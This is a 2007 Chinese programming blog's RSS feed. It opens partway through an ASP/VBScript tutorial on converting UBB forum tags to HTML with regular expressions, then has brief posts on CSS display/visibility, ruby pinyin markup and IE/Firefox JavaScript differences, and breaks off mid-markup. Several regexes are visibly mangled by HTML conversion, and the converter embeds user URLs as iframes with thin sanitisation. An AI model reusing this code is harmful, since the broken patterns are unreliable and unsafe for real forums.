<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">3、(((\/[\~]*|\\[\~]*)(\w)+)|[.](\w)+)* 满足条件３<br>&#8220;(\/[\~]*|\\[\~]*)&#8221;表示可以出现"/~"或者是"\~"，（其中&#8220;[\~]*&#8221;表示 ~ 可以出现也可以不出现），因为不是每个链接地址都有下一级目录<br>&#8220;(\w)+)|[.](\w)+)&#8221;表示必须出现一个单词字符（即目录或者是一个带有扩展名的文件）<br>注意：最后还有一个&#8220;*&#8221;表示上面括号内的可以出现也可以不出现，否则就只能匹配有下一级目录的链接地址了。</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">4、(((([?](\w)+){1}[=]*))*((\w)+){1}([\&amp;](\w)+[\=](\w)+)*)*)满足条件４<br>&#8220;((([?](\w)+){1}[=]*))*((\w)+){1}&#8221;表示形如"?PageNo=2"的字符串可以出现也可以不出现，如果出现则只能出现一次（因为不可能有两个&#8220;？&#8221;号出现）。</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">&#8220;([\&amp;](\w)+[\=](\w)+)*)&#8221;表示形如&#8220;&amp;action=display&#8221;的字符串可以出现也可以不出现（因为并不是每个网页都带有两个以上的参数。</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">整个&#8220;((([?](\w)+){1}[=]*))*((\w)+){1}([\&amp;](\w)+[\=](\w)+)*)*&#8221;表示形如&#8220;?PageNo=2&amp;action=display&#8221;的字符串可以出现也可以不出现（即链接地址可以有参数也可以没有参数）</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma"><br>把上面的组合起来，我们就可以匹配一个比较全面的链接地址了。比用简单的&#8220;(http:\/\/\S+)&#8221;来匹配一个链接地址要好，读者可以自行行测试比较。当然，这段代码还有很多不足之处，希望大家能够继续改进。</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">2）替代典型的UBB标签:[/b]<br>我们的目的就是要把[b]成对的替换成&lt;b&gt;&lt;/b&gt;下面来看我们实现它的模板<br>　　(\[b\])(.+)(\[\/b\])<br>这里用了"(.+)"来配匹到之间的整个字符串，在替代的时候我们要写成这样<br>　　str=checkexp(re,str,"&lt;b&gt;$2&lt;/b&gt;")<br>（注意：checkexp是我自定义的函数，将在后面给出。这个函数将把[/b]按照我们提供的模板进行替代。）</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">也许你会问这里出现一个"$2"是什么东东,呵注意了这个$2可是很重要的，它代表了"(.+)"所配匹的整个字符串。<br>为什么是$2而不是$1、$3呢？因为$1代表(\[b\])所匹配的"[b]"字符串，$3代表(\[\/b\])所匹配的""字符串，显然这里我们需要的是$2而不是$1$3。</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma"><br>六）ＵＢＢ正则表达模板实例<br>下面是我写的一个ＵＢＢ函数，这个函数基本上能使你的论坛成为一个优秀的ＵＢＢ代码论坛了。当然，通过改进后，你可以得到一个更强大的ＵＢＢ论坛。</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">Function ReThestr(face,str)<br>　dim re,str</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">　re="\&gt;"<br>　str=checkexp(re,str,"&gt;")</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">　re="\&lt;"<br>　str=checkexp(re,str,"&lt;")</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">　re="\n\r\n/"<br>　str=checkexp(re,str,"&lt;P&gt;")</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">　re=chr(32)<br>　str=checkexp(re,str," ") </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">　re="\r"<br>　str=checkexp(re,str," ")</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">　re="\[img\]((http:(\/\/|\\\\)){1}((\w)+[.]){1,3}(net|com|cn|org|cc|tv)(((\/[\~]*|\\[\~]*)<br>(\w)+)|[.](\w)+)*(\w)+[.]{1}(gif|jpg|png))\[\/img\]" &#8217;查找图片地址<br>　str=checkexp(re,str," &lt;img src=&#8217;$1&#8217;&gt; ")</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">　re="\[w\](http:(\/\/|\\\\)((\w)+[.]){1,}(net|com|cn|org|cc|tv)(((\/[\~]*|\\[\~]*)(\w)+)|[.](\w)+)*<br>(((([?](\w)+){1}[=]*))*((\w)+){1}([\&amp;](\w)+[\=](\w)+)*)*)\[\/w\]" &#8217;查找帧地址<br>　str=checkexp(re,str,"&lt;iframe width=&#8217;300&#8217; height=&#8217;300&#8217; src=&#8217;$1&#8217;&gt;&lt;/iframe&gt;")</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">　re="([^(&#8217;&gt;)])(&lt;br&gt;)*((http|https|ftp):(\/\/|\\\\)((\w)+[.]){1,}(net|com|cn|org|cc|tv|([0-9]{1,3}))(((\/[\~]*|\\[\~]*)(\w)+)|[.](\w)+)*(((([?](\w)+){1}[=]*))*((\w)+){1}([\&amp;](\w)+[\=](\w)+)*)*)" &#8217;查找链接地址<br>　str=checkexp(re,str,"$1$2 &lt;a href=&#8217;$3&#8217; target=_blank&gt;$3&lt;/a&gt; ")</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">　re="([^(<a href="http://|http://)])((www|cn)[.](/w)+[.]{1,}(net|com|cn|org|cc)(((//[/~]*|//[/~]*)(/w)+)|[.](/w">http://|http:\\)])((www|cn)[.](\w)+[.]{1,}(net|com|cn|org|cc)(((\/[\~]*|\\[\~]*)(\w)+)|[.](\w</a>)+)*<br>(((([?](\w)+){1}[=]*))*((\w)+){1}([\&amp;](\w)+[\=](\w)+)*)*)" &#8217;查找不以http://开头的地址<br>　str=checkexp(re,str,"$1 &lt;a href=&#8217;http://$2&#8217; target=_blank&gt;$2&lt;/a&gt; ")</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">　re="([^(=)])((\w)+[@]{1}((\w)+[.]){1,3}(\w)+)" &#8217;查找邮件地址<br>　str=checkexp(re,str," &lt;a href=&#8217;mailto:$2&#8217;&gt;$2&lt;/a&gt; ")</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">　re="\[0-F]{6})\]((.)+)\[\/color\]" &#8217;替换字体色彩<br>　str=checkexp(re,str,"&lt;font color=&#8217;$1&#8217;&gt;$4&lt;/font&gt;")</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">　re="\[size=([0-9]{1})\]((.)+)\[\/size\]" &#8217;替换字体大小<br>　str=checkexp(re,str,"&lt;font size=&#8217;$1&#8217;&gt;$2&lt;/font&gt;")</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">　re="\((.)+)\[\/font\]" &#8217;替换字体<br>　str=checkexp(re,str,"&lt;font face=&#8217;$1&#8217;&gt;$3&lt;/font&gt;")</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">　re="(\[b\])(.+)(\[\/b\])" &#8217;加粗字体<br>　str=checkexp(re,str,"&lt;b&gt;$2&lt;/b&gt;")</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">　re="(\[u\])(.+)(\[\/u\])" &#8217;下画线<br>　str=checkexp(re,str,"&lt;u&gt;$2&lt;/u&gt;")</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">　re="(\[li\])(.+)(\[\/li\])" &#8217;列表<br>　str=checkexp(re,str,"&lt;li&gt;$2&lt;/li&gt;")</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">　re="(\[QUOTE\])(.+)(\[\/QUOTE\])" &#8217;引用<br>　str=checkexp(re,str,"&lt;BLOCKQUOTE&gt;引用:&lt;HR SIZE=1&gt;$2&lt;HR SIZE=1&gt;&lt;/BLOCKQUOTE&gt;")</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">　re="\[email=((\w)+[@]{1}((\w)+[.]){1,3}(\w)+)\](.+)(\[\/email\])" &#8217;邮件<br>　str=checkexp(re,str,"&lt;a href=mailto:$1&gt;$6&lt;/a&gt;")</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">　re="(\[center\])(.+)(\[\/center\])" &#8217;居中<br>　str=checkexp(re,str,"&lt;center&gt;$2&lt;/center&gt;")</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">　re="fuck"<br>　str=checkexp(re,str,"***")</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">　re="操"<br>　str=checkexp(re,str,"***")</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">　re="sex"<br>　str=checkexp(re,str,"***") </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">　re="TMD"<br>　str=checkexp(re,str,"***")</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">　re="shit"<br>　str=checkexp(re,str,"***")</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">　ReThestr=str<br>end function</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">ＵＢＢ代码如下：<br>[i] [/i] [u] [/u] <br>[url] [/url] [email=] [/email] [img] [/img] <br>引用:<br>--------------------------------------------------------------------------------<br>&nbsp;<br>--------------------------------------------------------------------------------</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">[li] [/li] [font=impact] [color=Yellow] </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">测试代码如下：<br>&nbsp;[img] [/img]http://cn.yahoo.com<br>aol.com 192.168.0.1<br><a href="http://www.yahoo.com/">www.yahoo.com</a> how are you[/b]<br>page2000.xiloo.com/~page2000?PageNo=2&amp;action=del<br><a href="&#109;&#97;&#105;&#108;&#116;&#111;&#58;&#108;&#117;&#99;&#97;&#105;&#104;&#117;&#105;&#64;&#99;&#109;&#109;&#97;&#105;&#108;&#46;&#99;&#111;&#109;">lucaihui@cmmail.com</a> 大家好http:\\page2000.shit<br>&lt;font color=red&gt;http://test.com&lt;/font&gt;http://test<br>全部符合预想结果</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">七）ＡＳＰ正则表达式对像函数如下：<br>Function CheckExp(patrn,strng,tagstr)<br>　Dim regEx,Matches</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">　Set regEx=New RegExp&#8217;建立一个新对像<br>　regEx.Pattern=patrn&#8217;设置模板<br>　regEx.IgnoreCase=true&#8217;搜索是否区分大小写的 true表是不区分 flase表示区分<br>　regEx.Global=True&#8217;搜索是否应用于整个字符串</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">　Matches=regEx.replace(strng,tagstr)&#8217;匹配并替代字符串</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">　CheckExp=Matches返回函数结果<br>end function </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma"><br>把上面的两个函数存为一个页面（如ubbcode.asp），这样就组成一个完整的ＵＢＢ函数了。<br>在你的论坛上加上这个函数，就成了支持ＵＢＢ代码的论坛了。只要在用时调用这个函数就行了。调用形式如<br>　text=ReThestr(text)</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma"><br>很久以前写的文章了不知现在还实不实用<br>嘻~~有错误的话<br>问我我也不清楚了这么久不看都忘了<br>:)</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">倒这文章看不了了禁止笑脸转换了还这样</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">看来ubb和ubb冲突了</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma">哈~~~~~<br>&nbsp;<br>&nbsp;<br></p>
<img src ="http://www.blogjava.net/sunbaby/aggbug/123113.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/sunbaby/" target="_blank">sunbaby</a> 2007-06-09 23:05 <a href="http://www.blogjava.net/sunbaby/articles/123113.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>display与visibility的详细文档说明</title><link>http://www.blogjava.net/sunbaby/articles/121539.html</link><dc:creator>sunbaby</dc:creator><author>sunbaby</author><pubDate>Sat, 02 Jun 2007 13:03:00 GMT</pubDate><guid>http://www.blogjava.net/sunbaby/articles/121539.html</guid><description><![CDATA[<span style="FONT-SIZE: 12pt; COLOR: #009999; FONT-FAMILY: Tahoma">display与visibility的详细文档说明 <strong>display</strong><br><br><a href="http://www.ad0.cn/netfetch/article.asp?id=182" target=_blank><u><font color=#800080>display与visibility的详细文档说明 点击这里</font></u></a> <br><a href="http://www.ad0.cn/netfetch/article.asp?id=181" target=_blank><u><font color=#0000ff>实例分析CSS属性Display与Visibility不同 点击这里</font></u></a> <br>版本：CSS1/CSS2　 兼容性：IE4+ NS4+　继承性：无<br><br>语法：<br>display : block | none | inline | compact | marker | inline-table | list-item | run-in | table |table-caption | table-cell | table-column | table-column-group | table-footer-group | table-header-group | table-row | table-row-group <br><br>参数：<br>block : 　CSS1　块对象的默认值。用该值为对象之后添加新行<br>none : 　CSS1　隐藏对象。与visibility属性的hidden值不同，其不为被隐藏的对象保留其物理空间<br>inline : 　CSS1　内联对象的默认值。用该值将从对象中删除行<br>compact : 　CSS2　分配对象为块对象或基于内容之上的内联对象<br>marker : 　CSS2　指定内容在容器对象之前或之后。要使用此参数，对象必须和:after及:before 伪元素一起使用<br>inline-table : 　CSS2　将表格显示为无前后换行的内联对象或内联容器<br>list-item : 　CSS1　将块对象指定为列表项目。并可以添加可选项目标志<br>run-in : 　CSS2　分配对象为块对象或基于内容之上的内联对象<br>table : 　CSS2　将对象作为块元素级的表格显示<br>table-caption : 　CSS2　将对象作为表格标题显示<br>table-cell : 　CSS2　将对象作为表格单元格显示<br>table-column : 　CSS2　将对象作为表格列显示<br>table-column-group : 　CSS2　将对象作为表格列组显示<br>table-header-group : 　CSS2　将对象作为表格标题组显示<br>table-footer-group : 　CSS2　将对象作为表格脚注组显示<br>table-row : 　CSS2　将对象作为表格行显示<br>table-row-group : 　CSS2　将对象作为表格行组显示<br><br>说明：<br>设置或检索对象是否及如何显示。<br>目前 IE5.5仅支持以上CSS1的参数。<br>对应的脚本特性为display。请参阅我编写的其他书目。<br><br>示例：<br>img { disply: block; float: right; }<br><br><br><br><br><strong>visibility</strong><br>版本：CSS2　 兼容性：IE4+ NS6+　继承性：无<br><br>语法：<br>visibility : inherit | visible | collapse | hidden <br><br>参数：<br>inherit : 　继承上一个父对象的可见性<br>visible : 　对象可视<br>hidden : 　对象隐藏<br>collapse : 　主要用来隐藏表格的行或列。隐藏的行或列能够被其他内容使用。对于表格外的其他对象，其作用等同于hidden。IE5.5尚不支持此属性。<br><br>说明：<br>设置或检索是否显示对象。与display属性不同，此属性为隐藏的对象保留其占据的物理空间。<br>如果希望对象为可视，其父对象也必须是可视的。<br>对应的脚本特性为visibility。请参阅我编写的其他书目。<br><br>示例：<br>img { visibility: inherit; float: right; }</span>
<img src ="http://www.blogjava.net/sunbaby/aggbug/121539.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/sunbaby/" target="_blank">sunbaby</a> 2007-06-02 21:03 <a href="http://www.blogjava.net/sunbaby/articles/121539.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>使用HTML实现对汉字拼音的支持</title><link>http://www.blogjava.net/sunbaby/articles/120586.html</link><dc:creator>sunbaby</dc:creator><author>sunbaby</author><pubDate>Tue, 29 May 2007 00:53:00 GMT</pubDate><guid>http://www.blogjava.net/sunbaby/articles/120586.html</guid><description><![CDATA[<span style="COLOR: #0000ff">&lt;</span><span style="COLOR: #800000">style</span><span style="COLOR: #0000ff">&gt;</span><span id=Codehighlighter1_7_54_Closed_Text style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff"><img src="http://www.netjc.com.cn/UploadFiles/200606/4828-3.gif"></span><span id=Codehighlighter1_7_54_Open_Text><span style="COLOR: #800000; BACKGROUND-COLOR: #f5f5f5">&nbsp;<br><img id=Codehighlighter1_14_30_Open_Image onclick="this.style.display='none'; Codehighlighter1_14_30_Open_Text.style.display='none'; Codehighlighter1_14_30_Closed_Image.style.display='inline'; Codehighlighter1_14_30_Closed_Text.style.display='inline';" src="http://www.netjc.com.cn/UploadFiles/200606/4828-4.gif" align=top><img id=Codehighlighter1_14_30_Closed_Image style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_14_30_Closed_Text.style.display='none'; Codehighlighter1_14_30_Open_Image.style.display='inline'; Codehighlighter1_14_30_Open_Text.style.display='inline';" src="http://www.netjc.com.cn/UploadFiles/200606/4828-5.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;ruby</span><span id=Codehighlighter1_14_30_Closed_Text style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff">{<img src="http://www.netjc.com.cn/UploadFiles/200606/4828-3.gif">}</span><span id=Codehighlighter1_14_30_Open_Text><span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">{</span><span style="COLOR: #ff0000; BACKGROUND-COLOR: #f5f5f5">font-size</span><span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">:</span><span style="COLOR: #0000ff; BACKGROUND-COLOR: #f5f5f5">14px</span><span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">;</span><span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">}</span></span><span style="COLOR: #800000; BACKGROUND-COLOR: #f5f5f5"><br><img src="http://www.netjc.com.cn/UploadFiles/200606/4828-7.gif" align=top>&nbsp;<br><img id=Codehighlighter1_37_53_Open_Image onclick="this.style.display='none'; Codehighlighter1_37_53_Open_Text.style.display='none'; Codehighlighter1_37_53_Closed_Image.style.display='inline'; Codehighlighter1_37_53_Closed_Text.style.display='inline';" src="http://www.netjc.com.cn/UploadFiles/200606/4828-4.gif" align=top><img id=Codehighlighter1_37_53_Closed_Image style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_37_53_Closed_Text.style.display='none'; Codehighlighter1_37_53_Open_Image.style.display='inline'; Codehighlighter1_37_53_Open_Text.style.display='inline';" src="http://www.netjc.com.cn/UploadFiles/200606/4828-5.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;rt</span><span id=Codehighlighter1_37_53_Closed_Text style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff">{<img src="http://www.netjc.com.cn/UploadFiles/200606/4828-3.gif">}</span><span id=Codehighlighter1_37_53_Open_Text><span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">{</span><span style="COLOR: #ff0000; BACKGROUND-COLOR: #f5f5f5">font-size</span><span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">:</span><span style="COLOR: #0000ff; BACKGROUND-COLOR: #f5f5f5">11px</span><span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">;</span><span style="COLOR: #000000; BACKGROUND-COLOR: #f5f5f5">}</span></span><span style="COLOR: #800000; BACKGROUND-COLOR: #f5f5f5"><br><img src="http://www.netjc.com.cn/UploadFiles/200606/4828-11.gif" align=top></span></span><span style="COLOR: #0000ff">&lt;/</span><span style="COLOR: #800000">style</span><span style="COLOR: #0000ff">&gt;</span><span style="COLOR: #000000"><br><img src="http://www.netjc.com.cn/UploadFiles/200606/4828-11.gif" align=top></span><span style="COLOR: #0000ff">&lt;</span><span style="COLOR: #800000">ruby</span><span style="COLOR: #0000ff">&gt;</span><span style="COLOR: #000000">中国人民万万岁</span><span style="COLOR: #0000ff">&lt;</span><span style="COLOR: #800000">rt</span><span style="COLOR: #0000ff">&gt;</span><span style="COLOR: #000000">zhong&nbsp;guo&nbsp;ren&nbsp;min&nbsp;wan&nbsp;wan&nbsp;sui</span><span style="COLOR: #0000ff">&lt;/</span><span style="COLOR: #800000">rt</span><span style="COLOR: #0000ff">&gt;&lt;</span><span style="COLOR: #800000">br</span><span style="COLOR: #0000ff">&gt;</span><span style="COLOR: #000000"><br><img src="http://www.netjc.com.cn/UploadFiles/200606/4828-11.gif" align=top>博客园</span><span style="COLOR: #0000ff">&lt;</span><span style="COLOR: #800000">rt</span><span style="COLOR: #0000ff">&gt;</span><span style="COLOR: #000000">bo&nbsp;ke&nbsp;yuan</span><span style="COLOR: #0000ff">&lt;/</span><span style="COLOR: #800000">rt</span><span style="COLOR: #0000ff">&gt;</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;<br><img src="http://www.netjc.com.cn/UploadFiles/200606/4828-11.gif" align=top></span><span style="COLOR: #0000ff">&lt;/</span><span style="COLOR: #800000">ruby</span><span style="COLOR: #0000ff">&gt;</span><br>使用ruby 和 rt 标签可以实现注音效果，以上代码效果如下图：<br><br><img style="BORDER-LEFT-COLOR: #008000; BORDER-BOTTOM-COLOR: #008000; BORDER-TOP-COLOR: #008000; BORDER-RIGHT-COLOR: #008000" height=67 alt="" src="http://www.netjc.com.cn/UploadFiles/200606/4828-15.gif" width=160 border=1><br>&nbsp;<br>拼音来了<br>
<img src ="http://www.blogjava.net/sunbaby/aggbug/120586.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/sunbaby/" target="_blank">sunbaby</a> 2007-05-29 08:53 <a href="http://www.blogjava.net/sunbaby/articles/120586.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>各浏览器的JS兼容问题 </title><link>http://www.blogjava.net/sunbaby/articles/119500.html</link><dc:creator>sunbaby</dc:creator><author>sunbaby</author><pubDate>Wed, 23 May 2007 14:37:00 GMT</pubDate><guid>http://www.blogjava.net/sunbaby/articles/119500.html</guid><description><![CDATA[<div style="BORDER-RIGHT: windowtext 0.5pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: windowtext 0.5pt solid; PADDING-LEFT: 5.4pt; BACKGROUND: #e6e6e6; PADDING-BOTTOM: 4px; BORDER-LEFT: windowtext 0.5pt solid; WIDTH: 95%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: windowtext 0.5pt solid">
<div><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/None.gif" align=top><span style="COLOR: #000000">ie</span><span style="COLOR: #000000">/</span><span style="COLOR: #000000">firefox：禁止选择文字<br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/None.gif" align=top><br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/None.gif" align=top>IE:<br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/None.gif" align=top><br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&lt;</span><span style="COLOR: #000000">script</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000"><br><img id=_68_82_Open_Image onclick="this.style.display='none'; document.getElementById('_68_82_Open_Text').style.display='none'; document.getElementById('_68_82_Closed_Image').style.display='inline'; document.getElementById('_68_82_Closed_Text').style.display='inline';" alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/ExpandedBlockStart.gif" align=top><img id=_68_82_Closed_Image style="DISPLAY: none" onclick="this.style.display='none'; document.getElementById('_68_82_Closed_Text').style.display='none'; document.getElementById('_68_82_Open_Image').style.display='inline'; document.getElementById('_68_82_Open_Text').style.display='inline';" alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/ContractedBlock.gif" align=top><a name=baidusnap3></a><strong style="COLOR: black; BACKGROUND-COLOR: #ff9999">document.onselectstart</strong>&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">function</span><span style="COLOR: #000000">()</span><span id=_68_82_Closed_Text style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff">...</span><span id=_68_82_Open_Text><span style="COLOR: #000000">{</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">false</span><span style="COLOR: #000000">;}</span></span><span style="COLOR: #000000"><br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&lt;/</span><span style="COLOR: #000000">script</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000"><br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&lt;</span><span style="COLOR: #000000">body</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000"><br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/None.gif" align=top>试试看能否选择这些文字？<br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&lt;/</span><span style="COLOR: #000000">body</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000"><br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/None.gif" align=top><br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/None.gif" align=top><a name=baidusnap0></a><strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">FF</strong>:<br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/None.gif" align=top><br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&lt;</span><span style="COLOR: #000000">style</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000"><br><img id=_142_166_Open_Image onclick="this.style.display='none'; document.getElementById('_142_166_Open_Text').style.display='none'; document.getElementById('_142_166_Closed_Image').style.display='inline'; document.getElementById('_142_166_Closed_Text').style.display='inline';" alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/ExpandedBlockStart.gif" align=top><img id=_142_166_Closed_Image style="DISPLAY: none" onclick="this.style.display='none'; document.getElementById('_142_166_Closed_Text').style.display='none'; document.getElementById('_142_166_Open_Image').style.display='inline'; document.getElementById('_142_166_Open_Text').style.display='inline';" alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/ContractedBlock.gif" align=top>html&nbsp;</span><span style="COLOR: #000000">*</span><span id=_142_166_Closed_Text style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff">...</span><span id=_142_166_Open_Text><span style="COLOR: #000000">{</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">moz</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">user</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">select:&nbsp;none;}</span></span><span style="COLOR: #000000"><br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&lt;/</span><span style="COLOR: #000000">style</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000"><br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&lt;</span><span style="COLOR: #000000">body</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000"><br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/None.gif" align=top>试试看能否选择这些文字？<br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&lt;/</span><span style="COLOR: #000000">body</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000">&nbsp;<br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/None.gif" align=top></span></div>
</div>
<p>&nbsp;</p>
<div style="BORDER-RIGHT: windowtext 0.5pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: windowtext 0.5pt solid; PADDING-LEFT: 5.4pt; BACKGROUND: #e6e6e6; PADDING-BOTTOM: 4px; BORDER-LEFT: windowtext 0.5pt solid; WIDTH: 95%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: windowtext 0.5pt solid">
<div><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/None.gif" align=top><span style="COLOR: #000000">关于currentStyle<strong style="COLOR: black; BACKGROUND-COLOR: #99ff99">的</strong>兼容<br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/None.gif" align=top><br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/None.gif" align=top>IE&nbsp;Only:<br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&lt;</span><span style="COLOR: #000000">style</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000"><br><img id=_41_75_Open_Image onclick="this.style.display='none'; document.getElementById('_41_75_Open_Text').style.display='none'; document.getElementById('_41_75_Closed_Image').style.display='inline'; 